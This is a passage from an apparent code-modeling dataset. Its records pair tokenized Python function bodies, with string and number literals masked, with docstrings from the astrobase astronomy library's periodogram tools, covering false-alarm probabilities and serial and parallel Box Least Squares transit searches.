`lspinfo` dict in other\n        astrobase functions that operate on periodogram results. This is a\n        standardized format across all astrobase period-finders, and is of the\n        form below::\n\n            {'bestperiod': the best period value in the periodogram,\n             'bestlspval': the periodogram peak associated with the best period,\n             'nbestpeaks': the input value of nbestpeaks,\n             'nbestlspvals': nbestpeaks-size list of best period peak values,\n             'nbestperiods': nbestpeaks-size list of best periods,\n             'lspvals': the full array of periodogram powers,\n             'periods': the full array of periods considered,\n             'method':'mav' -> the name of the period-finder method,\n             'kwargs':{ dict of all of the input kwargs for record-keeping}}", "id": "f14764:m2"}
{"signature": "def analytic_false_alarm_probability(lspinfo,<EOL>times,<EOL>conservative_nfreq_eff=True,<EOL>peakvals=None,<EOL>inplace=True):", "body": "from scipy.stats import f<EOL>frequencies = <NUM_LIT:1.0>/lspinfo['<STR_LIT>']<EOL>M = independent_freq_count(frequencies,<EOL>times,<EOL>conservative=conservative_nfreq_eff)<EOL>if peakvals is None:<EOL><INDENT>peakvals = lspinfo['<STR_LIT>']<EOL><DEDENT>nharmonics = lspinfo['<STR_LIT>']['<STR_LIT>']<EOL>ndet = times.size<EOL>false_alarm_probs = []<EOL>for peakval in peakvals:<EOL><INDENT>prob_xval = peakval<EOL>prob_exceeds_val = f.cdf(prob_xval,<EOL><NUM_LIT:2>*nharmonics,<EOL>ndet - <NUM_LIT:2>*nharmonics - <NUM_LIT:1>)<EOL>false_alarm_probs.append(<NUM_LIT:1.0> - (<NUM_LIT:1.0> - prob_exceeds_val)**M)<EOL><DEDENT>if inplace:<EOL><INDENT>lspinfo['<STR_LIT>'] = false_alarm_probs<EOL><DEDENT>return false_alarm_probs<EOL>", "docstring": "This returns the analytic false alarm probabilities for periodogram\n    peak values.\n\n    FIXME: this doesn't actually work. Fix later.\n\n    The calculation follows that on page 3 of Zechmeister & Kurster (2009)::\n\n        FAP = 1 \u2212 [1 \u2212 Prob(z > z0)]**M\n\n    where::\n\n        M is the number of independent frequencies\n        Prob(z > z0) is the probability of peak with value > z0\n        z0 is the peak value we're evaluating\n\n    For AoV and AoV-harmonic, the Prob(z > z0) is described by the F\n    distribution, according to:\n\n    - Schwarzenberg-Czerny (1997;\n      https://ui.adsabs.harvard.edu/#abs/1997ApJ...489..941S)\n\n    - Schwarzenberg-Czerny (1996;\n      http://adsabs.harvard.edu/abs/1996ApJ...460L.107S)\n\n    This is given by::\n\n        F( 2N, K - 2N - 1; theta_aov )\n\n    Where::\n\n        N = number of harmonics used for AOV_harmonic\n        K = number of observations\n\n    This translates to a scipy.stats call to the F distribution CDF::\n\n        x = theta_aov_best\n        prob_exceeds_val = scipy.stats.f.cdf(x, 2N, K - 2N - 1)\n\n    Which we can then plug into the false alarm prob eqn above with the\n    calculation of M.\n\n    Parameters\n    ----------\n\n    lspinfo : dict\n        The dict returned by the\n        :py:func:`~astrobase.periodbase.spdm.aovhm_periodfind` function.\n\n    times : np.array\n        The times for which the periodogram result in ``lspinfo`` was\n        calculated.\n\n    conservative_nfreq_eff : bool\n        If True, will follow the prescription given in Schwarzenberg-Czerny\n        (2003):\n\n        http://adsabs.harvard.edu/abs/2003ASPC..292..383S\n\n        and estimate the effective number of independent frequences M_eff as::\n\n            min(N_obs, N_freq, DELTA_f/delta_f)\n\n    peakvals : sequence or None\n        The peak values for which to evaluate the false-alarm probability. If\n        None, will calculate this for each of the peak values in the\n        ``nbestpeaks`` key of the ``lspinfo`` dict.\n\n    inplace : bool\n        If True, puts the results of the FAP calculation into the ``lspinfo``\n        dict as a list available as ``lspinfo['falsealarmprob']``.\n\n    Returns\n    -------\n\n    list\n        The calculated false alarm probabilities for each of the peak values in\n        ``peakvals``.", "id": "f14764:m3"}
{"signature": "def bls_serial_pfind(times, mags, errs,<EOL>magsarefluxes=False,<EOL>startp=<NUM_LIT:0.1>,  <EOL>endp=<NUM_LIT>,  <EOL>stepsize=<NUM_LIT>,<EOL>mintransitduration=<NUM_LIT>,  <EOL>maxtransitduration=<NUM_LIT>,   <EOL>ndurations=<NUM_LIT:100>,<EOL>autofreq=True,  <EOL>blsobjective='<STR_LIT>',<EOL>blsmethod='<STR_LIT>',<EOL>blsoversample=<NUM_LIT:10>,<EOL>blsmintransits=<NUM_LIT:3>,<EOL>blsfreqfactor=<NUM_LIT>,<EOL>periodepsilon=<NUM_LIT:0.1>,<EOL>nbestpeaks=<NUM_LIT:5>,<EOL>sigclip=<NUM_LIT>,<EOL>verbose=True,<EOL>raiseonfail=False):", "body": "<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if len(stimes) > <NUM_LIT:9> and len(smags) > <NUM_LIT:9> and len(serrs) > <NUM_LIT:9>:<EOL><INDENT>if isinstance(autofreq, bool) and autofreq:<EOL><INDENT>stepsize = <NUM_LIT>*mintransitduration/(stimes.max()-stimes.min())<EOL>minfreq = <NUM_LIT:1.0>/endp<EOL>maxfreq = <NUM_LIT:1.0>/startp<EOL>nfreq = int(npceil((maxfreq - minfreq)/stepsize))<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' % (startp, endp, nfreq,<EOL>minfreq, maxfreq))<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(stepsize, ndurations,<EOL>mintransitduration, maxtransitduration))<EOL><DEDENT>use_autoperiod = False<EOL><DEDENT>elif isinstance(autofreq, bool) and not autofreq:<EOL><INDENT>minfreq = <NUM_LIT:1.0>/endp<EOL>maxfreq = <NUM_LIT:1.0>/startp<EOL>nfreq = int(npceil((maxfreq - minfreq)/stepsize))<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' % (startp, endp, nfreq,<EOL>minfreq, maxfreq))<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(stepsize, ndurations,<EOL>mintransitduration, maxtransitduration))<EOL><DEDENT>use_autoperiod = False<EOL><DEDENT>elif isinstance(autofreq, str) and autofreq == '<STR_LIT>':<EOL><INDENT>use_autoperiod = True<EOL>minfreq = <NUM_LIT:1.0>/endp<EOL>maxfreq = <NUM_LIT:1.0>/startp<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if minfreq < (<NUM_LIT:1.0>/(stimes.max() - stimes.min())):<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (endp, stimes.max() - stimes.min()))<EOL><DEDENT>minfreq = <NUM_LIT>/(stimes.max() - stimes.min())<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>(minfreq, maxfreq))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>durations = nplinspace(mintransitduration*startp,<EOL>maxtransitduration*startp,<EOL>ndurations)<EOL>if magsarefluxes:<EOL><INDENT>blsmodel = BoxLeastSquares(<EOL>stimes*u.day,<EOL>smags*u.dimensionless_unscaled,<EOL>dy=serrs*u.dimensionless_unscaled<EOL>)<EOL><DEDENT>else:<EOL><INDENT>blsmodel = BoxLeastSquares(<EOL>stimes*u.day,<EOL>smags*u.mag,<EOL>dy=serrs*u.mag<EOL>)<EOL><DEDENT>if use_autoperiod:<EOL><INDENT>periods = nparray(<EOL>blsmodel.autoperiod(<EOL>durations,<EOL>minimum_period=startp,<EOL>maximum_period=endp,<EOL>minimum_n_transit=blsmintransits,<EOL>frequency_factor=blsfreqfactor<EOL>)<EOL>)<EOL>nfreq = periods.size<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(blsmintransits, blsfreqfactor)<EOL>)<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(abs(<NUM_LIT:1.0>/periods[<NUM_LIT:1>] - <NUM_LIT:1.0>/periods[<NUM_LIT:0>]),<EOL>nfreq,<EOL><NUM_LIT:1.0>/periods.max(),<EOL><NUM_LIT:1.0>/periods.min(),<EOL>durations.size))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>frequencies = minfreq + nparange(nfreq)*stepsize<EOL>periods = <NUM_LIT:1.0>/frequencies<EOL><DEDENT>if nfreq > <NUM_LIT>:<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>blsresult = blsmodel.power(<EOL>periods*u.day,<EOL>durations*u.day,<EOL>objective=blsobjective,<EOL>method=blsmethod,<EOL>oversample=blsoversample<EOL>)<EOL>lsp = nparray(blsresult.power)<EOL>finitepeakind = npisfinite(lsp)<EOL>finlsp = lsp[finitepeakind]<EOL>finperiods = periods[finitepeakind]<EOL>try:<EOL><INDENT>bestperiodind = npargmax(finlsp)<EOL><DEDENT>except ValueError:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':ndurations,<EOL>'<STR_LIT>':blsobjective,<EOL>'<STR_LIT>':blsmethod,<EOL>'<STR_LIT>':blsoversample,<EOL>'<STR_LIT>':blsmintransits,<EOL>'<STR_LIT>':blsfreqfactor,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}}<EOL><DEDENT>sortedlspind = npargsort(finlsp)[::-<NUM_LIT:1>]<EOL>sortedlspperiods = finperiods[sortedlspind]<EOL>sortedlspvals = finlsp[sortedlspind]<EOL>nbestperiods, nbestlspvals, nbestinds, peakcount = (<EOL>[finperiods[bestperiodind]],<EOL>[finlsp[bestperiodind]],<EOL>[bestperiodind],<EOL><NUM_LIT:1><EOL>)<EOL>prevperiod = sortedlspperiods[<NUM_LIT:0>]<EOL>for period, lspval, ind in zip(sortedlspperiods,<EOL>sortedlspvals,<EOL>sortedlspind):<EOL><INDENT>if peakcount == nbestpeaks:<EOL><INDENT>break<EOL><DEDENT>perioddiff = abs(period - prevperiod)<EOL>bestperiodsdiff = [abs(period - x) for x in nbestperiods]<EOL>if (perioddiff > (periodepsilon*prevperiod) and<EOL>all(x > (periodepsilon*period)<EOL>for x in bestperiodsdiff)):<EOL><INDENT>nbestperiods.append(period)<EOL>nbestlspvals.append(lspval)<EOL>nbestinds.append(ind)<EOL>peakcount = peakcount + <NUM_LIT:1><EOL><DEDENT>prevperiod = period<EOL><DEDENT>resultdict = {<EOL>'<STR_LIT>':finperiods[bestperiodind],<EOL>'<STR_LIT>':finlsp[bestperiodind],<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':nbestinds,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':lsp,<EOL>'<STR_LIT>':frequencies,<EOL>'<STR_LIT>':periods,<EOL>'<STR_LIT>':durations,<EOL>'<STR_LIT>':blsresult,<EOL>'<STR_LIT>':blsmodel,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':nfreq,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':ndurations,<EOL>'<STR_LIT>':blsobjective,<EOL>'<STR_LIT>':blsmethod,<EOL>'<STR_LIT>':blsoversample,<EOL>'<STR_LIT>':blsmintransits,<EOL>'<STR_LIT>':blsfreqfactor,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}<EOL>}<EOL>return resultdict<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':nfreq,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':ndurations,<EOL>'<STR_LIT>':blsobjective,<EOL>'<STR_LIT>':blsmethod,<EOL>'<STR_LIT>':blsoversample,<EOL>'<STR_LIT>':blsmintransits,<EOL>'<STR_LIT>':blsfreqfactor,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':ndurations,<EOL>'<STR_LIT>':blsobjective,<EOL>'<STR_LIT>':blsmethod,<EOL>'<STR_LIT>':blsoversample,<EOL>'<STR_LIT>':blsmintransits,<EOL>'<STR_LIT>':blsfreqfactor,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}}<EOL><DEDENT>", "docstring": "Runs the Box Least Squares Fitting Search for transit-shaped signals.\n\n    Based on the version of BLS in Astropy 3.1:\n    `astropy.stats.BoxLeastSquares`. If you don't have Astropy 3.1, this module\n    will fail to import. Note that by default, this implementation of\n    `bls_serial_pfind` doesn't use the `.autoperiod()` function from\n    `BoxLeastSquares` but uses the same auto frequency-grid generation as the\n    functions in `periodbase.kbls`. If you want to use Astropy's implementation,\n    set the value of `autofreq` kwarg to 'astropy'.\n\n    The dict returned from this function contains a `blsmodel` key, which is the\n    generated model from Astropy's BLS. Use the `.compute_stats()` method to\n    calculate the required stats like SNR, depth, duration, etc.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The magnitude/flux time-series to search for transits.\n\n    magsarefluxes : bool\n        If the input measurement values in `mags` and `errs` are in fluxes, set\n        this to True.\n\n    startp,endp : float\n        The minimum and maximum periods to consider for the transit search.\n\n    stepsize : float\n        The step-size in frequency to use when constructing a frequency grid for\n        the period search.\n\n    mintransitduration,maxtransitduration : float\n        The minimum and maximum transitdurations (in units of phase) to consider\n        for the transit search.\n\n    ndurations : int\n        The number of transit durations to use in the period-search.\n\n    autofreq : bool or str\n        If this is True, the values of `stepsize` and `nphasebins` will be\n        ignored, and these, along with a frequency-grid, will be determined\n        based on the following relations::\n\n            nphasebins = int(ceil(2.0/mintransitduration))\n            if nphasebins > 3000:\n                nphasebins = 3000\n\n            stepsize = 0.25*mintransitduration/(times.max()-times.min())\n\n            minfreq = 1.0/endp\n            maxfreq = 1.0/startp\n            nfreq = int(ceil((maxfreq - minfreq)/stepsize))\n\n        If this is False, you must set `startp`, `endp`, and `stepsize` as\n        appropriate.\n\n        If this is str == 'astropy', will use the\n        `astropy.stats.BoxLeastSquares.autoperiod()` function to calculate the\n        frequency grid instead of the kbls method.\n\n    blsobjective : {'likelihood','snr'}\n        Sets the type of objective to optimize in the `BoxLeastSquares.power()`\n        function.\n\n    blsmethod : {'fast','slow'}\n        Sets the type of method to use in the `BoxLeastSquares.power()`\n        function.\n\n    blsoversample : {'likelihood','snr'}\n        Sets the `oversample` kwarg for the `BoxLeastSquares.power()` function.\n\n    blsmintransits : int\n        Sets the `min_n_transits` kwarg for the `BoxLeastSquares.autoperiod()`\n        function.\n\n    blsfreqfactor : float\n        Sets the `frequency_factor` kwarg for the `BoxLeastSquares.autperiod()`\n        function.\n\n    periodepsilon : float\n        The fractional difference between successive values of 'best' periods\n        when sorting by periodogram power to consider them as separate periods\n        (as opposed to part of the same periodogram peak). This is used to avoid\n        broad peaks in the periodogram and make sure the 'best' periods returned\n        are all actually independent.\n\n    nbestpeaks : int\n        The number of 'best' peaks to return from the periodogram results,\n        starting from the global maximum of the periodogram peak values.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    verbose : bool\n        If this is True, will indicate progress and details about the frequency\n        grid used for the period search.\n\n    raiseonfail : bool\n        If True, raises an exception if something goes wrong. Otherwise, returns\n        None.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict, referred to as an `lspinfo` dict in other\n        astrobase functions that operate on periodogram results. This is a\n        standardized format across all astrobase period-finders, and is of the\n        form below::\n\n            {'bestperiod': the best period value in the periodogram,\n             'bestlspval': the periodogram peak associated with the best period,\n             'nbestpeaks': the input value of nbestpeaks,\n             'nbestlspvals': nbestpeaks-size list of best period peak values,\n             'nbestperiods': nbestpeaks-size list of best periods,\n             'lspvals': the full array of periodogram powers,\n             'frequencies': the full array of frequencies considered,\n             'periods': the full array of periods considered,\n             'durations': the array of durations used to run BLS,\n             'blsresult': Astropy BLS result object (BoxLeastSquaresResult),\n             'blsmodel': Astropy BLS BoxLeastSquares object used for work,\n             'stepsize': the actual stepsize used,\n             'nfreq': the actual nfreq used,\n             'durations': the durations array used,\n             'mintransitduration': the input mintransitduration,\n             'maxtransitduration': the input maxtransitdurations,\n             'method':'bls' -> the name of the period-finder method,\n             'kwargs':{ dict of all of the input kwargs for record-keeping}}", "id": "f14765:m0"}
{"signature": "def _parallel_bls_worker(task):", "body": "try:<EOL><INDENT>times, mags, errs = task[:<NUM_LIT:3>]<EOL>magsarefluxes = task[<NUM_LIT:3>]<EOL>minfreq, nfreq, stepsize = task[<NUM_LIT:4>:<NUM_LIT:7>]<EOL>ndurations, mintransitduration, maxtransitduration = task[<NUM_LIT:7>:<NUM_LIT:10>]<EOL>blsobjective, blsmethod, blsoversample = task[<NUM_LIT:10>:]<EOL>frequencies = minfreq + nparange(nfreq)*stepsize<EOL>periods = <NUM_LIT:1.0>/frequencies<EOL>durations = nplinspace(mintransitduration*periods.min(),<EOL>maxtransitduration*periods.min(),<EOL>ndurations)<EOL>if magsarefluxes:<EOL><INDENT>blsmodel = BoxLeastSquares(<EOL>times*u.day,<EOL>mags*u.dimensionless_unscaled,<EOL>dy=errs*u.dimensionless_unscaled<EOL>)<EOL><DEDENT>else:<EOL><INDENT>blsmodel = BoxLeastSquares(<EOL>times*u.day,<EOL>mags*u.mag,<EOL>dy=errs*u.mag<EOL>)<EOL><DEDENT>blsresult = blsmodel.power(<EOL>periods*u.day,<EOL>durations*u.day,<EOL>objective=blsobjective,<EOL>method=blsmethod,<EOL>oversample=blsoversample<EOL>)<EOL>return {<EOL>'<STR_LIT>': blsresult,<EOL>'<STR_LIT>': blsmodel,<EOL>'<STR_LIT>': durations,<EOL>'<STR_LIT>': nparray(blsresult.power)<EOL>}<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' %<EOL>(frequencies[<NUM_LIT:0>], frequencies[-<NUM_LIT:1>]))<EOL>return {<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': durations,<EOL>'<STR_LIT>': nparray([npnan for x in range(nfreq)]),<EOL>}<EOL><DEDENT>", "docstring": "This wraps Astropy's BoxLeastSquares for use with bls_parallel_pfind below.\n\n`task` is a tuple::\n\n    task[0] = times\n    task[1] = mags\n    task[2] = errs\n    task[3] = magsarefluxes\n\n    task[4] = minfreq\n    task[5] = nfreq\n    task[6] = stepsize\n\n    task[7] = ndurations\n    task[8] = mintransitduration\n    task[9] = maxtransitduration\n\n    task[10] = blsobjective\n    task[11] = blsmethod\n    task[12] = blsoversample", "id": "f14765:m1"}
{"signature": "def bls_parallel_pfind(<EOL>times, mags, errs,<EOL>magsarefluxes=False,<EOL>startp=<NUM_LIT:0.1>,  <EOL>endp=<NUM_LIT>,  <EOL>stepsize=<NUM_LIT>,<EOL>mintransitduration=<NUM_LIT>,  <EOL>maxtransitduration=<NUM_LIT>,   <EOL>ndurations=<NUM_LIT:100>,<EOL>autofreq=True,  <EOL>blsobjective='<STR_LIT>',<EOL>blsmethod='<STR_LIT>',<EOL>blsoversample=<NUM_LIT:5>,<EOL>blsmintransits=<NUM_LIT:3>,<EOL>blsfreqfactor=<NUM_LIT>,<EOL>nbestpeaks=<NUM_LIT:5>,<EOL>periodepsilon=<NUM_LIT:0.1>,  <EOL>sigclip=<NUM_LIT>,<EOL>verbose=True,<EOL>nworkers=None,<EOL>):", "body": "<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if len(stimes) > <NUM_LIT:9> and len(smags) > <NUM_LIT:9> and len(serrs) > <NUM_LIT:9>:<EOL><INDENT>if isinstance(autofreq, bool) and autofreq:<EOL><INDENT>stepsize = <NUM_LIT>*mintransitduration/(stimes.max()-stimes.min())<EOL>minfreq = <NUM_LIT:1.0>/endp<EOL>maxfreq = <NUM_LIT:1.0>/startp<EOL>nfreq = int(npceil((maxfreq - minfreq)/stepsize))<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' % (startp, endp, nfreq,<EOL>minfreq, maxfreq))<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(stepsize, ndurations,<EOL>mintransitduration, maxtransitduration))<EOL><DEDENT>use_autoperiod = False<EOL><DEDENT>elif isinstance(autofreq, bool) and not autofreq:<EOL><INDENT>minfreq = <NUM_LIT:1.0>/endp<EOL>maxfreq = <NUM_LIT:1.0>/startp<EOL>nfreq = int(npceil((maxfreq - minfreq)/stepsize))<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' % (startp, endp, nfreq,<EOL>minfreq, maxfreq))<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(stepsize, ndurations,<EOL>mintransitduration, maxtransitduration))<EOL><DEDENT>use_autoperiod = False<EOL><DEDENT>elif isinstance(autofreq, str) and autofreq == '<STR_LIT>':<EOL><INDENT>use_autoperiod = True<EOL>minfreq = <NUM_LIT:1.0>/endp<EOL>maxfreq = <NUM_LIT:1.0>/startp<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if minfreq < (<NUM_LIT:1.0>/(stimes.max() - stimes.min())):<EOL><INDENT>minfreq = <NUM_LIT>/(stimes.max() - stimes.min())<EOL>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (endp, stimes.max() - stimes.min()))<EOL>LOGINFO('<STR_LIT>' %<EOL>(minfreq, maxfreq))<EOL><DEDENT><DEDENT>if not nworkers or nworkers > NCPUS:<EOL><INDENT>nworkers = NCPUS<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % nworkers)<EOL><DEDENT><DEDENT>if use_autoperiod:<EOL><INDENT>durations = nplinspace(mintransitduration*startp,<EOL>maxtransitduration*startp,<EOL>ndurations)<EOL>if magsarefluxes:<EOL><INDENT>blsmodel = BoxLeastSquares(<EOL>stimes*u.day,<EOL>smags*u.dimensionless_unscaled,<EOL>dy=serrs*u.dimensionless_unscaled<EOL>)<EOL><DEDENT>else:<EOL><INDENT>blsmodel = BoxLeastSquares(<EOL>stimes*u.day,<EOL>smags*u.mag,<EOL>dy=serrs*u.mag<EOL>)<EOL><DEDENT>periods = nparray(<EOL>blsmodel.autoperiod(<EOL>durations*u.day,<EOL>minimum_period=startp,<EOL>maximum_period=endp,<EOL>minimum_n_transit=blsmintransits,<EOL>frequency_factor=blsfreqfactor<EOL>)<EOL>)<EOL>frequencies = <NUM_LIT:1.0>/periods<EOL>nfreq = frequencies.size<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(blsmintransits, blsfreqfactor)<EOL>)<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(abs(frequencies[<NUM_LIT:1>] - frequencies[<NUM_LIT:0>]),<EOL>nfreq,<EOL><NUM_LIT:1.0>/periods.max(),<EOL><NUM_LIT:1.0>/periods.min(),<EOL>durations.size))<EOL><DEDENT>del blsmodel<EOL>del durations<EOL><DEDENT>else:<EOL><INDENT>frequencies = minfreq + nparange(nfreq)*stepsize<EOL><DEDENT>csrem = int(fmod(nfreq, nworkers))<EOL>csint = int(float(nfreq/nworkers))<EOL>chunk_minfreqs, chunk_nfreqs = [], []<EOL>for x in range(nworkers):<EOL><INDENT>this_minfreqs = frequencies[x*csint]<EOL>if x < (nworkers - <NUM_LIT:1>):<EOL><INDENT>this_nfreqs = frequencies[x*csint:x*csint+csint].size<EOL><DEDENT>else:<EOL><INDENT>this_nfreqs = frequencies[x*csint:x*csint+csint+csrem].size<EOL><DEDENT>chunk_minfreqs.append(this_minfreqs)<EOL>chunk_nfreqs.append(this_nfreqs)<EOL><DEDENT>tasks = [(stimes, smags, serrs, magsarefluxes,<EOL>chunk_minf, chunk_nf, stepsize,<EOL>ndurations, mintransitduration, maxtransitduration,<EOL>blsobjective, blsmethod, blsoversample)<EOL>for (chunk_minf, chunk_nf)<EOL>in zip(chunk_minfreqs, chunk_nfreqs)]<EOL>if verbose:<EOL><INDENT>for ind, task in enumerate(tasks):<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>(ind+<NUM_LIT:1>, task[<NUM_LIT:4>], task[<NUM_LIT:5>]))<EOL><DEDENT>LOGINFO('<STR_LIT>')<EOL><DEDENT>pool = Pool(nworkers)<EOL>results = pool.map(_parallel_bls_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>del pool<EOL>lsp = npconcatenate([x['<STR_LIT>'] for x in results])<EOL>periods = <NUM_LIT:1.0>/frequencies<EOL>finitepeakind = npisfinite(lsp)<EOL>finlsp = lsp[finitepeakind]<EOL>finperiods = periods[finitepeakind]<EOL>try:<EOL><INDENT>bestperiodind = npargmax(finlsp)<EOL><DEDENT>except ValueError:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return 